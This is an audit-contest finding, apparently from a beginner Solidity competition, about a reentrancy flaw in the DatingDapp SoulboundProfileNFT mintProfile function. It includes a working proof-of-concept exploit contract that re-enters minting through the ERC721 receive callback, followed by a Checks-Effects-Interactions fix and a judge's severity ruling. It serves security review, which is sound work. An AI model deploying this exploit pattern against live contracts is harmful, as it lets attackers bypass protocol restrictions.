DatingDapp

First Flight #33
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

reentrancy attack

Summary SoulboundProfileNFT.sol::mintProfile reentrancy attack

mintProfile function in this contract is vulnerable to reentrancy

Vulnerability Details

mintProfile function in SoulboundProfileNFT contract is vulnerable to reentrancy, as _safeMint() is called before updating the contract state (_profiles and profileToToken).

Impact

An attacker could mints multiple profiles, bypassing the restriction of one profile per address.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "./SoulboundProfileNFT.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
contract ReentrancyExploit is IERC721Receiver {
SoulboundProfileNFT public target;
address public attacker;
constructor(address _target) {
target = SoulboundProfileNFT(_target);
attacker = msg.sender;
}
function attack() external {
require(msg.sender == attacker, "Not attacker");
// First call to mintProfile() - starts reentrancy attack
target.mintProfile("Attacker", 99, "ipfs://hacker.png");
}
function onERC721Received(
address,
address,
uint256,
bytes calldata
) external override returns (bytes4) {
if (target.profileToToken(address(this)) == 0) {
// Reenter mintProfile() while the first call is still executing
target.mintProfile("Hacked", 99, "ipfs://exploit.png");
}
return IERC721Receiver.onERC721Received.selector;
}
}

Tools Used

Manual Review + Slither

Recommendations

Following CEI (Checks-Effects-Interactions) pattern

function mintProfile(string memory name, uint8 age, string memory profileImage) external {
require(profileToToken[msg.sender] == 0, "Profile already exists");
uint256 tokenId = ++_nextTokenId;
// ✅ First, update contract state
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
// ✅ Then, perform the external interaction
_safeMint(msg.sender, tokenId);
emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}
Updates

Appeal created

n0kto Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding_mintProfile_reentrancy

Likelihood: High, anyone can do it. Impact: Low, several profile will be minted, which is not allowed by the protocol, but only the last one will be stored in profileToToken and won't affect `likeUser` or `matchRewards`.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.